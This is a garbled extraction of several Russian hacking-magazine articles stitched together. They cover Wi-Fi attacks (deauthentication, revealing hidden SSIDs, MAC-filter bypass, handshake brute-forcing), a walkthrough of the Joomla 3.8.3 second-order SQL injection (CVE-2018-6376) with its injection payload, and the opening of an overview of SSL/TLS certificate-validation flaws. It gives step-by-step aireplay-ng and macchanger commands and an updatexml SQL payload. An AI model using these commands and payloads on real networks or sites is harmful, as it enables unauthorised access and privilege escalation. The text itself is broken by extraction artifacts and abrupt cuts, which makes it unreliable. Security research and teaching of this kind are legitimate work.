В  при мере  ниже до  целевой  точ ки  дос тупа  при мер но  20 мет ров  и  две  кир‐ 
пичные  сте ны.  Без  уве личе ния  мощ ности  передат чика  ее  кли енты  прос то
не слы шат коман ды deauth. Если под нять мощ ность дон гла с 20 до 30 дБм, то
при нуди тель ное отклю чение ее кли ентов и зах ват хен дшей ка занима ет менее
вось ми минут.

Ус пешный зах ват хен дшей ка

Ес ли пароль сло вар ный,  то он быс тро вскро ется на  том же ноут буке. Ина че
поп робуй  сбру тить  его  на  видюхах  (см.  статью  « »)  или  в
каком‐нибудь онлай новом сер висе.

Брут  на  GPU

Под бор пароля в EDPR

Про вер ка хен дшей ка и его брут в обла ке

Так же тебе может при годить ся онлай новый кон вертер   и 
. Пре обра зовать .cap в .pcap мож но с помощью  :

.cap → hashcat ана‐ 
лиза тор фай лов .pcap tshark

tshark ‐F libpcap ‐w <имя_файла_pcap> ‐r <имя_файла_cap> 

Ра нее  мы  писали  о  ,  но  выпол нять  прод винутые
ата ки с него очень неудоб но (а некото рые — тех ничес ки невоз можно). Нуж но
каким‐то  обра зом  под клю чать  сра зу  два  внеш них  адап тера  и  (желатель но)
внеш ний  акку муля тор,  а  потом  дол го  мучить ся  с  повыше нием  мощ ности  их
передат чиков.  В  пять  строк  это  уже  не  сде лаешь  —  там  семь  кру гов  ада
с  make/install  и  отло вом  оши бок.  Если  тебе  хочет ся  хай тек‐мазохиз ма,  я
как‐нибудь  поделюсь  с  тобой  этой  болью,  а  сей час  луч ше  возь ми  ноут бук
и запус ти дес ктоп ную Kali.

взло ме Wi‐Fi  со  смар тфо на

УЗНАЁМ ИМЕНА СКРЫТЫХ СЕТЕЙ
Имя  бес про вод ной  сети  (SSID  или  ESSID)  иног да  спе циаль но  скры вают
для  ее  защиты.  Дей стви тель но,  так  отсе кают ся  неофи ты  и  поток  жела ющих
под клю чить ся  к  AP  замет но  умень шает ся:  если  цель  не  вид но,  мно гие  ее
не ата куют. Одна ко узнать SSID доволь но прос то: эта информа ция пос тоян но
тран сли рует ся в эфир.

Каж дый кли ент  ука зыва ет в  «рукопо жатии» имя сети  (SSID), ее циф ровой
иден тифика тор  (BSSID,  обыч но  сов пада ет  с  MAC  AP)  и  свой  MAC‐адрес.
Поэто му  ата ка  деав ториза ции  успешно  исполь зует ся  для  выяс нения  SSID
скры тых сетей. Если удас тся перех ватить хен дшейк при под клю чении легаль‐ 
ного  кли ента  к  выб ранной  точ ке  дос тупа,  то  мы  сра зу  узна ем  ее  имя.  Дос‐ 
таточ но написать прос тей шую коман ду и подож дать.

airodump‐ng wlan1

Под разуме вает ся, что твой донгл опре деля ется как wlan1, его мощ ность уже
уве личе на, а сам он перек лючен в режим монито ра. Если еще нет, то прос то
выруби его ( ), и airodump‐ng сам переве дет его в moni‐
tor mode.

ifconfig wlan1 down

Ждать хен дшей ка неоп ределен но дол го, поэто му давай уско рим про цесс.
Откро ем  вто рое  окно  тер минала  и  отпра вим  в  нем  широко веща тель ную
коман ду деав ториза ции,  зас тавив всех  кли ентов выб ранной AP заново под‐ 
клю чить ся и прок ричать ее SSID на весь эфир.

aireplay‐ng ‐0 5 ‐a D8:FE:E3:XX:XX:XX wlan1

Этой коман дой мы отпра вили пять пакетов deauth всем кли ентам точ ки дос‐ 
тупа с MAC‐адре сом D8:FE:E3:и  так далее  (часть адре са,  как обыч но,  скры‐ 
ваю, нас лажда ясь параной ей). Резуль тат не зас тавил себя ждать. Бук валь но
сра зу в основном окне airodump‐ng появи лось имя сети. Пока оно было скры‐ 
то, вмес то име ни отоб ражалась его дли на (в дан ном при мере — шесть сим‐ 
волов).

Быс тро узна ем SSID скры той сети

ОБХОДИМ ФИЛЬТРАЦИЮ ПО MAC-АДРЕСУ
До пол нитель но адми ны соз дают белые спис ки бес про вод ных устрой ств, раз‐ 
решая  под клю чать ся  толь ко  девай сам  c  опре делен ными  MAC‐адре сами.
В  режиме  филь тра ции  по  MAC  точ ка  дос тупа  отка жет  в  авто риза ции  пос‐ 
торон ним устрой ствам, даже если от них получен вер ный пароль.

Од нако  нам  важ но  дру гое:  если  кли ент ское  устрой ство  соеди нилось
с  выб ранной  точ кой  дос тупа,  зна чит,  оно  гаран тирован но  есть  в  ее  «белом
спис ке». Оста лось кик нуть его прочь с целевой AP и прис воить его (откры то
переда ваемый в эфир) MAC‐адрес сво ему адап теру Wi‐Fi. Что бы успеть под‐ 
клю чить ся  вмес то  доверен ного  девай са,  коман ду  деав ториза ции  луч ше
запус тить парал лель но в дру гом окне тер минала и отправ лять их со вто рого
дон гла. Вот как это выг лядит поэтап но на AP из при мера выше.
1. Под нима ем мощ ность адап тера, мас киру ем его MAC‐адрес и перево дим
в режим монито ра (см. пер вую часть статьи).

2. Слу шаем эфир:

airodump‐ng wlan1

В таб лице будут отоб ражать ся точ ки дос тупа и MAC‐адре са под клю чен ных
к ним кли ентов (см. стол бец «STATION» нап ротив нуж ной AP).

Уз наем MAC‐адре са кли ентов

3. Прис ваиваем одно му из сво их дон глов этот MAC‐адрес.

macchanger ‐‐mac=64:DB:43:XX:XX:XX wlan1

4. Со вто рого адап тера шлем пакеты деав ториза ции.

aireplay‐ng ‐0 5 ‐a D8:FE:E3:XX:XX:XX wlan1

5. Под клю чаем ся пер вым адап тером, как толь ко нас тоящий кли ент отру бит ся
от AP.

ВЫВОДЫ
Для выпол нения качес твен ного пен теста бес про вод ных точек дос тупа необ‐ 
ходимо  при обрести  пару  USB‐адап теров  Wi‐Fi  с  под ходящи ми  чипами
и дорабо тать их. Под клю чить вмес то штат ных антенн нап равлен ные внеш ние
и повысить мощ ность передат чика, уве личив зна чение txpower.

Скры тое имя бес про вод ной сети и филь тра ция кли ентов по MAC‐адре сам
сла бо пре пятс тву ют ее взло му. SSID и под ходящие адре са из «белого спис‐ 
ка»  лег ко  узнать,  прос то  дож давшись  оче ред ного  хен дшей ка  или  сра зу
выпол нив ата ку деав ториза ции.

https://git.kernel.org/pub/scm/linux/kernel/git/sforshee/wireless-regdb.git
http://standards-oui.ieee.org/oui.txt
https://code.wireshark.org/review/gitweb?p=wireshark.git;a=blob_plain;f=manuf
https://git.kernel.org/pub/scm/linux/kernel/git/sforshee/wireless-regdb.git/tree/
https://xakep.ru/2017/08/16/edpr-nvidia-passcrack/
https://hashc.co.uk/cap2hccapx
https://packettotal.com/
https://xakep.ru/2017/07/13/wardriving-smartphone/
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ВЗЛОМ

Joomla — вто рая по популяр ности сис тема управле ния сай‐ 
тами пос ле WordPress. Уяз вимость, о которой мы погово рим
в  этой  статье,  поз воля ет  ата кующе му  без  осо бых  проб лем
одним зап росом под нять свои при виле гии в CMS до супер‐ 
поль зовате ля, от которо го до выпол нения кода один шаг.

Проб лема  зат рагива ет  все  сущес тву ющие  вер сии  Joomla  вплоть  до  3.8.3.
О  деталях  сооб щил  иссле дова тель  из  ком пании  RIPS  Technologies.  Уяз‐ 
вимость  получи ла  иден тифика тор  .  В  вер сии  3.8.4  она  была
исправ лена раз работ чиками CMS, о чем сооб щает ся в   от 30 янва ря.

CVE‐2018‐6376
анон се

Про экс плу ати ровать  уяз вимость  мож но,  обла дая  при виле гиями  менед‐ 
жера в сис теме или выше. Сам баг доволь но инте рес ный, и его изу чение поз‐ 
волит нам погово рить о тех нике инъ екций second order SQL.

СТЕНД
Для  тес тирова ния  экс пло ита  пер вым  делом  готовим  стенд.  Разуме ется,
у Joomla есть офи циаль ный репози торий на сай те  , где ты можешь
най ти все воз можные вер сии CMS. Но исполь зовать их я не буду и под готов‐ 
лю свой кон тей нер, пос коль ку дела ется это все го нес коль кими коман дами.

Docker Hub

Сна чала запус каем кон тей нер с Debian 9.

docker run ‐ti ‐p80:80 ‐‐rm ‐‐name=joomlavh ‐‐hostname=joomlavh 
debian /bin/bash

Ста вим все необ ходимое: MySQL, Apache 2 и PHP 7.0.

apt‐get update && apt‐get install ‐y mysql‐server apache2 php php7.
0‐xml php7.0‐mysqli nano wget

Те перь сама CMS. Нам нуж на вер сия 3.8.3.

cd /var/www/html/
wget https://downloads.joomla.org/cms/joomla3/3‐8‐3/
Joomla_3‐8‐3‐Stable‐Full_Package.tar.gz?format=gz
tar xzf Joomla*
chown ‐R www‐data:www‐data .

И пос леднее: стар туем нуж ные сер висы и соз даем базу дан ных для будущей
уста нов ки при ложе ния.

service mysql start && service apache2 start
mysql ‐u root ‐e "CREATE DATABASE joomla; GRANT ALL PRIVILEGES ON *.
* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"

Пос ле это го необ ходимо перей ти на све жепод нятый веб‐сер вер и уста новить
CMS.

Ус танов ка Joomla 3.8.3

Соз дай акка унт с пра вами Manager, через него будем тес тировать экс пло ит.

Продолжение статьи →

https://twitter.com/iamsecurity
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-6376
https://developer.joomla.org/security-centre/722-20180104-core-sqli-vulnerability.html
https://hub.docker.com/_/joomla/


КАВЫЧКОЙ ПО «ДЖУМЛЕ»

УЧИМСЯ ПРОВОДИТЬ SQL‐ИНЪЕКЦИЮ
ВТОРОГО ПОРЯДКА НА ПРИМЕРЕ

УЯЗВИМОСТИ В JOOMLA

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ПОДРОБНЕЕ ОБ УЯЗВИМОСТИ
Из  анон са  уяз вимос ти  мож но  узнать,  что  корень  проб лемы —  в  отсутс твии
при веде ния  типов  перемен ной  в  информа цион ных  сооб щени ях  тем плей та
Hathor (Hathor postinstall message).

Анонс уяз вимос ти в Developer Network

Hathor  —  это  наз вание  одно го  из  пре дус танов ленных  бэкенд‐шаб лонов
адми нис тра тив ной панели, с которым пос тавля ется Joomla.

Нас трой ка шаб лонов панели адми нис три рова ния в Joomla

По умол чанию исполь зует ся тем плейт isis (на вся кий слу чай: он наз ван в честь
богини Иси ды, а не зап рещен ной в РФ орга низа ции), но поль зовате лю раз‐ 
решено вруч ную менять его в нас трой ках про филя. Находит ся эта стра нич ка
по адре су

/administrator/index.php?option=com_admin&view=profile&layout=edit

Нас трой ка про филя текуще го поль зовате ля

Те перь нас тало вре мя зарыть ся в деб ри исходни ков. Но где искать? Отправ‐ 
ную точ ку, как обыч но, ищем в  , который реша ет проб лему.ком мите

Ком мит с пат чем для SQLi

Как видишь, нам необ ходимо заг лянуть в файл  .hathormessage.php

/administrator/templates/hathor/postinstall/hathormessage.php
19: function hathormessage_postinstall_condition()
20: {
...
22:     $user           = JFactory::getUser();
...
39:     // Get the current user admin style
40:     $adminstyle = $user‐>getParam('admin_style', '');
41:
42:     if ($adminstyle != '')
43:     {
44:         $query = $db‐>getQuery(true)
45:             ‐>select('template')
46:             ‐>from($db‐>quoteName('#__template_styles'))
47:             ‐>where($db‐>quoteName('id') . ' = ' . $adminstyle[0]
)
48:             ‐>where($db‐>quoteName('client_id') . ' = 1');
...
50:         // Get the template name associated to the admin style
51:         $template = $db‐>setquery($query)‐>loadResult();

Пос ле  пат ча  перемен ная    при водит ся  к  ,  зна чит,  она  нам
и  нуж на.  Стро ка  40  говорит  нам  о  том,  что  зна чение  перемен ной  —
это резуль тат работы метода   из клас са  .

$adminstyle int

getParam User

/libraries/src/User/User.php
024: class User extends \JObject
025: {
...
318:    public function getParam($key, $default = null)
319:    {
320:        return $this‐>_params‐>get($key, $default);
321:    }

Па рамет ры ( ) текуще го поль зовате ля — это экзем пляр клас‐ 
са  .

$this‐>_params
Registry

/libraries/src/User/User.php
233:    public function __construct($identifier = 0, UserWrapper $
userHelper = null)
234:    {
...
242:        // Create the user parameters object
243:        $this‐>_params = new Registry;

При  ини циали зации  поль зовате ля,  сох ранении  дан ных  про филя  и  про чих
манипу ляци ях  с  поль зователь ски ми  нас трой ками  дан ные  попада ют  в  эту
перемен ную.  В  том  чис ле  и  нуж ный  нам  .  Нам  оста ется  лишь
задать ему зна чение. Выше я уже писал, где находит ся редак тирова ние про‐ 
филя текуще го юзе ра.

admin_styles

Да вай  вклю чим  сниф фер  и  сох раним  дан ные  про филя.  В  пой ман ном
пакете  будет  атри бут  с  наз вани ем  .  Так  как  в
зап рос попада ет пер вый эле мент мас сива, то добав ляем канонич ную кавыч‐ 
ку.

jform[params][admin_style]

До бав ление кавыч ки в атри бут admin_style из зап роса на изме нение про ‐
филя поль зовате ля

Те перь  перехо дим  на  глав ную  стра ницу  кон троль ной  панели  и  наб люда ем
ошиб ку SQL‐син такси са.

Ошиб ка SQL в панели управле ния Joomla

Пос тавим что‐нибудь поос мыслен нее:

0 and updatexml(0x3a, concat(1, (select user())), 1)#

Ус пешная SQL‐инъ екция в Joomla 3.8.3

Вот и SQL‐инъ екция типа second order!
Не безо пас ные дан ные про филя записа лись в базу дан ных в виде атри бута

  нашего  поль зовате ля,  а  затем  эти  дан ные  в  сыром  виде
попада ют  в  зап рос  выбор ки  из  таб лицы.  Под робнее  о  таких  уяз вимос тях
можешь почитать, нап ример, на  .

admin_styles

сай те раз работ чиков Burp Suite

Не безо пас ные дан ные в базе дан ных

Те перь  раз берем ся,  как  появ ляют ся  эти  сооб щения.  Заг лянем  в  индек сный
файл текуще го тем плей та. В коде вызыва ется обра бот чик  .message

/administrator/templates/isis/index.php
300:                <div class="span12">
...
302:                    <jdoc:include type="message" />

Он как раз исполь зует ся для вывода пре дуп режде ний, сооб щений об ошиб‐ 
ках и отче тов об успешно выпол ненных дей стви ях.

Де рево DOM‐объ ектов, которые отве чают за сооб щения в панели
управле ния

/administrator/templates/isis/html/layouts/joomla/system/mes-
sage.php
12: $msgList = $displayData['msgList'];
...
17:     <?php if (is_array($msgList) && $msgList) : ?>
18:         <?php foreach ($msgList as $type => $msgs) : ?>
19:             <div class="alert <?php echo isset($alert[$type]) ? $
alert[$type] : 'alert‐' . $type; ?>">
...
20:                 <button type="button" class="close" 
data‐dismiss="alert">&times;</button>
21:                 <?php if (!empty($msgs)) : ?>
22:                     <h4 class="alert‐heading"><?php echo JText::
_($type); ?></h4>
23:                     <?php foreach ($msgs as $msg) : ?>
24:                         <div class="alert‐message"><?php echo 
$msg; ?></div>
25:                     <?php endforeach; ?>
26:                 <?php endif; ?>

Дан ные сооб щений берут ся из эле мен та   мас сива $displayData. Этот
мас сив  запол няет ся  при  вызове  метода    клас са  ,
который,  как  сле дует  из  наз вания,  отве чает  за  фор мирова ние  HTML‐кода
для пос леду юще го вывода поль зовате лю.

msgList
render MessageRenderer

/libraries/src/Document/Renderer/Html/MessageRenderer.php
22: class MessageRenderer extends DocumentRenderer
23: {
...
35:     public function render($name, $params = array(), $content = 
null)
36:     {
37:         $msgList     = $this‐>getData();
38:         $displayData = array(
39:             'msgList' => $msgList,
40:             'name'    => $name,
41:             'params'  => $params,
42:             'content' => $content,
43:         );
...
60:         return LayoutHelper::render('joomla.system.message', $
displayData);

Дан ные сис темных сооб щений воз вра щает метод  .getData

/libraries/src/Document/Renderer/Html/MessageRenderer.php
70:     private function getData()
71:     {
72:         // Initialise variables.
73:         $lists = array();
74:
75:         // Get the message queue
76:         $messages = \JFactory::getApplication()‐>getMessageQueue
();
77:
78:         // Build the sorted message list
79:         if (is_array($messages) && !empty($messages))
80:         {
81:             foreach ($messages as $msg)
82:             {
83:                 if (isset($msg['type']) && isset($msg['message'])
)
84:                 {
85:                     $lists[$msg['type']][] = $msg['message'];
86:                 }
87:             }
88:         }
89:
90:         return $lists;
91:     }

Со обще ния  берут ся  из  оче реди,  которую  CMS  пыта ется  зап росить
с помощью метода  .getMessageQueue

/libraries/src/Application/CMSApplication.php
465:    public function getMessageQueue($clear = false)
466:    {
467:        // For empty queue, if messages exists in the session, 
enqueue them.
468:        if (!$this‐>_messageQueue)
469:        {
470:            $session = \JFactory::getSession();
471:            $sessionQueue = $session‐>get('application.queue', 
array());
472:
473:            if ($sessionQueue)
474:            {
475:                $this‐>_messageQueue = $sessionQueue;
476:                $session‐>set('application.queue', array());
477:            }
478:        }
479:
480:        $messageQueue = $this‐>_messageQueue;
481:
482:        if ($clear)
483:        {
484:            $this‐>_messageQueue = array();
485:        }
486:
487:        return $messageQueue;
488:    }

До бав ление  в  оче редь  про изво дит ся  из  раз ных  учас тков  кода  на  эта пе
выпол нения.  Сей час  нас  инте ресу ет  модуль  .  Он,  собс твен но,
и отве чает за работу с адми нис тра тив ной панелью и вызыва ется при выпол‐ 
нении метода   из базово го кон трол лера CMS.

com_cpanel

display

/libraries/src/MVC/Controller/BaseController.php
614:    public function display($cachable = false, $urlparams = array
())
615:    {
...
621:        $view = $this‐>getView($viewName, $viewType, '', array('
base_path' => $this‐>basePath, 'layout' => $viewLayout));
...
672:            $view‐>display();

Этот метод про бега ет по всем ком понен там, которые исполь зуют ся в дан ный
момент, и выпол няет метод   уже в их кон тек сте.display

/administrator/components/com_cpanel/views/cpanel/view.html.php
17: class CpanelViewCpanel extends JViewLegacy
18: {
...
33:     public function display($tpl = null)
34:     {

Внут ри ком понен та   идет выбор ка сооб щений, пос тупа ющих пос‐ 
ле уста нов ки.

com_cpanel

/administrator/components/com_cpanel/views/cpanel/view.html.php
50:         try
51:         {
52:             $messages_model = FOFModel::getTmpInstance('Messages'
, 'PostinstallModel')‐>eid(700);
53:             $messages       = $messages_model‐>getItemList();
54:         }
55:         catch (RuntimeException $e)
56:         {
57:             $messages = array();
58:
59:             // Still render the error message from the Exception 
object
60:             JFactory::getApplication()‐>enqueueMessage($e‐>getMes
sage(), 'error');
61:         }
62:
63:         $this‐>postinstall_message_count = count($messages);

Со обще ния  получа ются  при  помощи  надс трой ки  FOF  (
). Сна чала она  получа ет  экзем пляр  клас са 

из  модуля  ,  а  затем,  при  помощи  метода  ,
выпол няет ся  вызов  метода    уже  непос редс твен но  в  кон тек сте
модели  .  Этот  метод  фор миру ет  SQL‐зап рос
для выбор ки сооб щений из таб лицы.

FrameworkOnFrame‐
work PostinstallModelMessages

com_postinstall getItemList
buildQuery

PostinstallModelMessages

/libraries/fof/model/model.php
1215:   public function &getItemList($overrideLimits = false, $group 
= '')
1216:   {
1217:       if (empty($this‐>list))
1218:       {
1219:           $query = $this‐>buildQuery($overrideLimits);

/administrator/components/com_postinstall/models/messages.php
17: class PostinstallModelMessages extends FOFModel
18: {
...
28:     public function buildQuery($overrideLimits = false)
29:     {
30:         $query = parent::buildQuery($overrideLimits);
31:
32:         $db = $this‐>getDbo();
33:
34:         // Add a forced extension filtering to the list
35:         $eid = $this‐>getState('eid', 700);
36:         $query‐>where($db‐>qn('extension_id') . ' = ' . $db‐>q($
eid));
37:
38:         // Force filter only enabled messages
39:         $published = $this‐>getState('published', 1, 'int');
40:         $query‐>where($db‐>qn('enabled') . ' = ' . $db‐>q($publis
hed));
41:
42:         return $query;
43:     }

За тем  получен ный  зап рос  выпол няет ся  и  дела ется  выбор ка  из  таб лицы
. Сам зап рос выг лядит так:postinstall_messages

SELECT `#__postinstall_messages`.*
FROM `#__postinstall_messages`
WHERE `extension_id` = '700' AND `enabled` = '1'

Пос ле получе ния резуль татов выбор ки выпол няет ся метод  ._getList

/libraries/fof/model/model.php
1225:               $this‐>list = $this‐>_getList((string) $query, $
limitstart, $limit, $group);
1226:           }
1227:           else
1228:           {
1229:               $this‐>list = $this‐>_getList((string) $query, 0,
0, $group);

1230:           }
1231:       }
1232:
1233:       return $this‐>list;

Внут ри него про исхо дит вызов  .onProcessList

/libraries/fof/model/model.php
1950:   protected function &_getList($query, $limitstart = 0, $limit 
= 0, $group = '')
1951:   {
1952:       $this‐>_db‐>setQuery($query, $limitstart, $limit);
1953:       $result = $this‐>_db‐>loadObjectList($group);
1954:
1955:       $this‐>onProcessList($result);
1956:
1957:       return $result;
1958:   }

Ме тод    про бега ется  по  всем  най ден ным  в  базе  эле мен там
и выпол няет из фай ла, ука зан ного в поле  , фун кцию, которая
находит ся в поле  .

onProcessList
condition_file

condition_method

За пись из таб лицы postinstall_messages. Выделен ные поля ука зыва ют
на файл и фун кцию, которая будет выпол нена

/administrator/components/com_postinstall/models/messages.php
124:    protected function onProcessList(&$resultArray)
125:    {
...
132:        foreach ($resultArray as $key => $item)
133:        {
134:            // Filter out messages based on dynamically loaded 
programmatic conditions.
135:            if (!empty($item‐>condition_file) && !empty($item‐>
condition_method))
136:            {
137:                jimport('joomla.filesystem.file');
138:
139:                $file = FOFTemplateUtils::parsePath($item‐>condit
ion_file, true);
140:
141:                if (JFile::exists($file))
142:                {
143:                    require_once $file;
144:
145:                    $result = call_user_func($item‐>condit
ion_method);

Вот  мы  и  вер нулись  к  тому,  с  чего  начали,  —  вызову  уяз вимой  фун кции
.hathormessage_postinstall_condition

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
В популяр ных CMS подоб ные дыры находят с завид ной пери одич ностью. Эта,
нап ример,  была  обна руже на  с  помощью  ста тичес кого  ана лиза  кода.  Раз‐ 
работ чикам в обя затель ном поряд ке нуж но вклю чать такие шту ки в свой пай‐ 
плайн, но при этом не забывать, что это не панацея.

Са ма  уяз вимость  может  быть  исполь зована  для  повыше ния  при виле гий
в  сис теме  и,  нап ример,  для  извле чения  сес сии  супер поль зовате ля.  Так  что
если у тебя где‐то уста нов лена Joomla, то не мед ли и обновляй ся.

https://github.com/joomla/joomla-cms/commit/0ec372fdc6ad5ad63082636a0942b3ea39acc7b7#diff-3e85747937cc72972c9020333104e802
https://portswigger.net/kb/issues/00100210_sql-injection-second-order
https://vimeo.com/256997915
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ВЗЛОМ

Пер воначаль но раз работан ный для бра узе‐ 
ров,  SSL/TLS‐про токол  поз же  стал  стан‐ 
дартом  де‐фак то  вооб ще  для  всех
защищен ных интернет‐ком муника ций. Сей‐ 
час он исполь зует ся для уда лен ного адми‐ 
нис три рова ния  вир туаль ной  инфра струк‐ 
туры,  раз верну той  в  обла ке,  для  переда чи
пла теж ных  рек визитов  покупа теля  от  сер‐ 
веров элек трон ной ком мерции к пла теж ным
про цес сорам,  таким  как  PayPal  и  Amazon,
для  пересыл ки  локаль ных  дан ных
в  облачное  хра нили ще,  сох ранения
перепис ки в мес сен дже рах и аутен тифика‐ 
ции  сер веров  в  мобиль ных  при ложе ниях
iOS и Android. Как видишь, спи сок ситу аций,
ког да  обмен  весь ма  чувс тви тель ной
информа цией  тре бует  мак сималь ной
безопас ности,  доволь но  вну шите лен.
В этой статье мы рас смот рим, как безопас‐ 
ность  этих  ком муника ций  обес печива ется
на прак тике.

ХОТЕЛИ КАК ЛУЧШЕ
В  теории,  защищен ное  SSL/TLS‐про токо лом  соеди нение  дол жно  обес‐ 
печивать  кон фиден циаль ность,  дос товер ность  и  целос тность  ком муника ций
кли ент ско го  и  сер верно го  соф та,  даже  если  в  сеть  про ник  активный  прод‐ 
винутый  зло умыш ленник:  ког да  сеть  пол ностью  зах вачена  вра гом,  DNS
отравлен,  а  точ ки  дос тупа  и  мар шру тиза торы,  ком мутато ры  и  Wi‐Fi  кон тро‐ 
лиру ются  зло умыш ленни ком,  который,  помимо  все го  про чего,  кон тро лиру ет
SSL/TLS‐бэкенд. Кро ме того, ког да кли ент ский софт пыта ется под клю чить ся
к закон ному сер веру,  зло умыш ленник может под менить сетевой адрес сер‐ 
вера  (нап ример,  через  отравле ние  DNS)  и  перенап равить  кли ент  вмес то
закон ного сер вера на свой зло наме рен ный сер вер.

Бе зопас ность  ком муника ций  в  таких  суровых  усло виях,  как  извес тно,
целиком зависит от адек ватнос ти про вер ки крип тогра фичес кого сер тифика‐ 
та,  пре дос тавлен ного  сер вером  при  уста нов ке  соеди нения.  В  том  чис ле
от адек ватнос ти реали зации набора шиф ров  (cipher  suite),  которы ми  кли ент
и  сер вер поль зуют ся  при обме не дан ными. Для  того  что бы SSL/TLS‐соеди‐ 
нение было пол ностью безопас ным, кли ент ский софт в чис ле про чего дол жен
тща тель но удос товерить ся в том, что:

сер тификат выдан дей ству ющим орга ном сер тифика ции;•
срок его дей ствия не истек (или сер тификат не был отоз ван);•
в  спис ке  перечис ленных  в  сер тифика те  имен  при сутс тву ет  тот  домен,
к которо му про изво дит ся под клю чение.

•

ПОЛУЧИЛОСЬ КАК ВСЕГДА: ПРОВЕРКА ПРОВАЛЕНА
Од нако  во  мно гих  при ложе ниях  и  биб лиоте ках,  для  которых  безопас ность
ком муника ций  очень  кри тич на,  про цеду ра  про вер ки  SSL/TLS‐сер тифика та,
и даже EV‐SSL,  , пол ностью про валь‐ 
на, при чем это спра вед ливо для всех популяр ных опе раци онных сис тем: Lin‐
ux, Windows, Android и iOS. Сре ди уяз вимого соф та, биб лиотек и middleware‐
сер висов мож но  :

сер тифика та с рас ширен ной про вер кой

вы делить сле дующие
Amazon’овская  Java‐биб лиоте ка  EC2  и  все  облачные фрон тенд‐кли енты,
пос тро енные на ее осно ве;

•

Amazon’овский и PayPal’овский тор говый SDK, ответс твен ный за дос тавку
пла теж ных  рек визитов  от  сай тов  (на  которых  раз верну та  инфраструк тура
онлайн‐ком мерции) к пла теж ным шлю зам;

•

ин тегри рован ные  «кор зины»,  такие  как  osCommerce,  ZenCart,  Ubercart
и PrestaShop, которые не про веря ют сер тифика ты вооб ще;

•

AdMob‐код,  исполь зуемый  мобиль ным  соф том  для  показа  кон текс тной
рек ламы;

•

ин терфей сные  фрон тенд‐ком понен ты  ElephantDrive  и  FilesAnywhere,
ответс твен ные за вза имо дей ствие с облачным хра нили щем;

•

Android’ная биб лиоте ка Pusher и весь софт, который исполь зует Pusher API
для  управле ния  обме ном  мгно вен ными  сооб щени ями  (нап ример,
GitHub’овский Gaug.es);

•

Apache HttpClient  (вер сия 3.x), Apache Libcloud и все кли ент ские под клю‐ 
чения к сер верам Apache ActiveMQ и подоб ным;

•

SOAP middleware‐сер висы Java, в том чис ле Apache Axis, Axis 2, Codehaus
XFire; а  так же весь софт, который на базе этих middleware‐сер висов пос‐ 
тро ен;

•

API‐инс тру мен ты Elastic Load Balancing;•
Weberknecht‐реали зация WebSockets’ов;•
а так же весь мобиль ный софт, пос тро енный на базе перечис ленных выше
биб лиотек  и  middleware‐сер висов  (что бы  понять,  что  такое  middleware‐
сер висы,  смот ри  слай ды);  в  том  чис ле  iOS‐кли ент  хос тинг‐про вай дера
Rackspace.

•

Что такое middleware‐сер висы

Нап ример,   перечис лено еще боль ше сот ни уяз вимых мобиль ных при‐ 
ложе ний. В их чис ле: Android’s Google Cloud Messaging, Angie’s List Business
Center Passwords, AT&T Global Network Client, CapitalOne Spark Pay, Cisco On‐
Plus (remote access), Cisco Technical Support, Cisco WebEx, Cisco WebEx Pass‐
words,  Dominos  Pizza,  E‐Trade,  Freelancer,  Google  Earth,  Huntington  Mobile
(Bank),  Intuit  Tax  Online  Accountant,  iTunes  Connect,  Microsoft  Skype,  Oracle
Now, Pinterest, SafeNet (VPN client), SouthWest Airlines, Uber, US Bank — Access
Online, Western Union, WordPress, Yahoo! Finance, Yahoo! Mail.

здесь

Не боль шая выбор ка из спис ка уяз вимых мобиль ных при ложе ний

ЛОГИЧЕСКИЕ УЯЗВИМОСТИ SSL/TLS-ПРОТОКОЛА
SSL/TLS‐соеди нения  все го  это го  и  мно гого  дру гого  соф та  уяз вимы
для широко го спек тра MitM‐атак. При этом MitM‐ата ку мож но про вес ти зачас‐ 
тую  даже    и 

,  которы ми  сер веры  под писыва ют  свои  сер тифика ты.  MitM‐ата ку
мож но про вес ти, прос то экс плу ати руя логичес кие уяз вимос ти,  которые при‐ 
сутс тву ют в про цеду ре про вер ки SSL/TLS‐сер тифика та на сто роне кли ент ско‐ 
го  соф та.  В  резуль тате  MitM‐зло умыш ленник  может,  нап ример,  собирать
токены  авто риза ции,  номера  кре дит ных  карт,  име на,  адре са  и  про чее  —
у любого про дав ца, который исполь зует уяз вимые веб‐при ложе ния обра бот‐ 
ки пла тежей.

без  под делки  сер тифика тов без  похище ния  при ват ных

клю чей

Пос тавщи ки  мобиль ного  соф та,  которые  берут  за  осно ву  семпл‐код  Ad‐
Mob для  свя зи  сво их  при ложе ний  с AdMob‐акка унтом,  тоже  уяз вимы — они
поз воля ют  ата кующе му  зах ватывать  учет ные  дан ные  и  получать  дос туп
ко всем его Google‐сер висам. К при меру, из‐за некор рек тной про вер ки сер‐ 
тифика тов  в  таких  мес сен дже рах,  как  Trillian  и  AIM,  MitM‐зло умыш ленник
может похитить учет ные дан ные для вхо да ко всем сер висам Google (вклю чая
Gmail), Yahoo и так же к сер висам Windows Live (в том чис ле SkyDrive). Сре ди
дру гих  уяз вимос тей,  которы ми  стра дает  сов ремен ный  неб раузер ный
веб‐софт:  исполь зование  неп равиль ных  регуляр ных  выраже ний  при  срав‐ 
нении име ни хос та; игно риро вание резуль татов про вер ки кор рек тнос ти сер‐ 
тифика та; слу чай ное или  .пред намерен ное отклю чение про вер ки

ДРУГИЕ РАСПРОСТРАНЕННЫЕ УЯЗВИМОСТИ РЕАЛИЗАЦИИ
SSL/TLS-ПРОТОКОЛА
Ну  и  конеч но  же,  нель зя  забывать  о  том,  что  даже  если  в  реали зации
SSL/TLS‐про токо ла  нет  логичес ких  оши бок  (если,  конеч но,  кто‐то  в  это
еще  верит),  то  защиту  мож но  обой ти,  ,  при‐ 
менив  0day‐экс пло иты  к  таким  вещам,  как 

, 
  либо    и/или 

.

по хитив  при ват ный  ключ
кла виату ры,  бра узе ры,  опе раци‐ 

онные  сис темы,  ути литы  и  про шив ки ском про мети ровав  BGP‐мар шру тиза‐ 
цию ата ковав  SSL/TLS  по  аппа рат ным прог рам мным  обходным
каналам

Ата ка на SSL по аппа рат ным обходным каналам

Кро ме того, зло умыш ленни ки могут выпол нять прак тичес ки невиди мые MitM‐
ата ки,  зло упот ребляя  механиз мом  кеширо вания  SSL/TLS‐сеан сов,  реали‐ 
зован ным  в  клас се  SSLSessionCache.  Этот  механизм  про веря ет  дос товер‐ 
